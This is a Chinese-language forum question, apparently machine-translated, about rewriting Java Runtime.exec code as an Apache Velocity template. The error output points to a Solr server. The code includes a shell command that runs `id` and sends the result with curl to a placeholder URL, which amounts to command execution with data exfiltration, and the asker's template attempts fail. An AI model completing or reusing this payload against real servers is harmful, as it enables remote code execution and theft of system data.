首先,这是我第一次尝试编写速度模板,因此有可能在这里写一些愚蠢的东西。
所以,据我所知,可以使用速度模板编写基本的Java代码。
我想做的是将下面的Java代码转换为速度模板,
String [] cmds = {"sh", "-c", "t=`id` && curl http://URL?data=$t"};
Process proc = rt.exec(cmds);
int result = proc.waitFor();
if (result != 0) {
System.out.println("process error: " + result);
}
InputStream in = (result == 0) ? proc.getInputStream() : proc.getErrorStream();
int c;
while ((c = in.read()) != -1) {
System.out.print((char) c);
}
我已经成功地在Process proc = rt.exec(cmds)
中传递了一个字符串参数,但是当我尝试传递string []时,发生了多个问题。
我已经尝试过的:
我试图使用#set($strArr=["test1","Test2"]
创建字符串数组,但实际上并没有创建String数组,而是好像它创建了ArrayList
,但是Process proc = rt.exec()
接受了String[]
而不是ArrayList
[我也尝试了split()
方法,但收效甚微,但是当我在字符串中使用`(勾号)字符(将被拆分)时会遇到问题,并抛出异常。
#set($tmpStr="sh*-c*t=`id`*ls") #set($strArr=$tmpStr.split("[*]")
提前感谢
以下是我得到的例外:
{"name":"SolrError","message":"{msg=Invocation of method 'toChars' in class java.lang.Class threw exception java.lang.IllegalArgumentException: Not a valid Unicode code point: 0xFFFFFFFF at custom.vm[line 1, column 423],trace=org.apache.velocity.exception.MethodInvocationException: Invocation of method 'toChars' in class java.lang.Class threw exception java.lang.IllegalArgumentException: Not a valid Unicode code point: 0xFFFFFFFF at custom.vm[line 1, column 423]?\tat org.apache.velocity.runtime.parser.node.ASTMethod.handleInvocationException(ASTMethod.java:243)?\tat org.apache.velocity.runtime.parser.node.ASTMethod.execute(ASTMethod.java:187)?\tat org.apache.velocity.runtime.parser.node.ASTReference.execute(ASTReference.java:280)?\tat org.apache.velocity.runtime.parser.node.ASTReference.value(ASTReference.java:567)?\tat org.apache.velocity.runtime.parser.node.ASTMethod.execute(ASTMethod.java:151)?\tat org.apache.velocity.runtime.parser.node.ASTReference.execute(ASTReference.java:280)?\tat org.apache.velocity.runtime.parser.node.ASTReference.ren","statusCode":500}
首先,这是我第一次尝试编写速度模板,因此我可能在这里写了一些愚蠢的东西。因此,据我所知,可以使用速度来编写基本的Java代码...
速度用于HTML;不适用于Java。简单的答案是您无法执行此操作。速度不是故意的“只允许在这里使用Java”这样的模板语言(这是一件好事,但是关于将Java和模板以JSP的方式进行混合的优缺点的辩论超出了这个问题的范围, 。重点是:这是有意的;如果要为此提出功能请求,它将被拒绝)。